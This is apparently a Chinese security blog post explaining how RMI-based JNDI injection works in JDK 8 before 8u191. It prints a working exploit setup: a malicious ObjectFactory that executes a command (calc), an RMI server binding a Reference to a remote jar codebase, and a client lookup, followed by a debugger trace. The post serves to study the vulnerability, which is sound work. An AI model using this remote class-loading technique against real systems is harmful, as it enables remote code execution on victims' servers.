前言:在笔记JNDI注入(一)中把jdk8u 191之前的远程恶意加载类(rmi rmi+jndi ldap+jndi)都进行了介绍和复现之后,这篇来讲8u191之前的两种jndi注入方式的原理

jndi注入之rmi

ReferenceObjectFactory

  1. public class ReferenceObjectFactory implements ObjectFactory {
  2. /**
  3. * @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
  4. * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
  5. * @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
  6. * @param env 创建对象时使用的环境(可能为 null)。
  7. * @return 对象工厂创建出的对象
  8. * @throws Exception 对象创建异常
  9. */
  10. public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
  11. // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
  12. return Runtime.getRuntime().exec("calc");
  13. }
  14. }

RMIServer

  1. public class RMIReferenceServerTest {
  2. public static void main(String[] args) {
  3. try {
  4. // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
  5. String url = "http://127.0.0.1:81/CollectionsSerializable.jar";
  6. // 对象的工厂类名
  7. String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";
  8. // 监听RMI服务端口
  9. LocateRegistry.createRegistry(9527);
  10. // 创建一个远程的JNDI对象工厂类的引用对象
  11. Reference reference = new Reference(className, className, url);
  12. // 转换为RMI引用对象,
  13. // 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
  14. // 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
  15. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  16. // 绑定一个恶意的Remote对象到RMI服务
  17. Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
  18. System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
  19. } catch (Exception e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

RMIClient,这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内,如果是ldap+jndi的话我181则可以不用开启trustURLCodebase

  1. public class RMIReferenceClientTest{
  2. public static void main(String[] args) {
  3. try {
  4. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  5. InitialContext context = new InitialContext();
  6. // 获取RMI绑定的恶意ReferenceWrapper对象
  7. Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
  8. System.out.println(obj);
  9. } catch (NamingException e) {
  10. e.printStackTrace();
  11. }
  12. }
  13. }

打断点
image.png
getURLOrDefaultInitCtx方法
image.png
getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context
image.png
接着继续来到lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文
image.png
接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称
image.png
接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是传输来请求获取绑定在服务端注册中心上的对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub
image.png
获得了stub对象后,又开始进行decodeObject方法
image.png
这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法
image.png
就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance
image.png
先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回
image.png
这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance
image.png
最后调用了指定codebase的jar包中的指定的类名,我这里是给了调用栈,原因是我这里跟不到远程的jar包里面
image.png
最终F8一下,就执行了我们重写的getObjectInstance方法中的内容,上面我写的是执行calc,所以这里就弹出来计算器
image.png

https://www.cnblogs.com/zpchcbd/p/14967827.html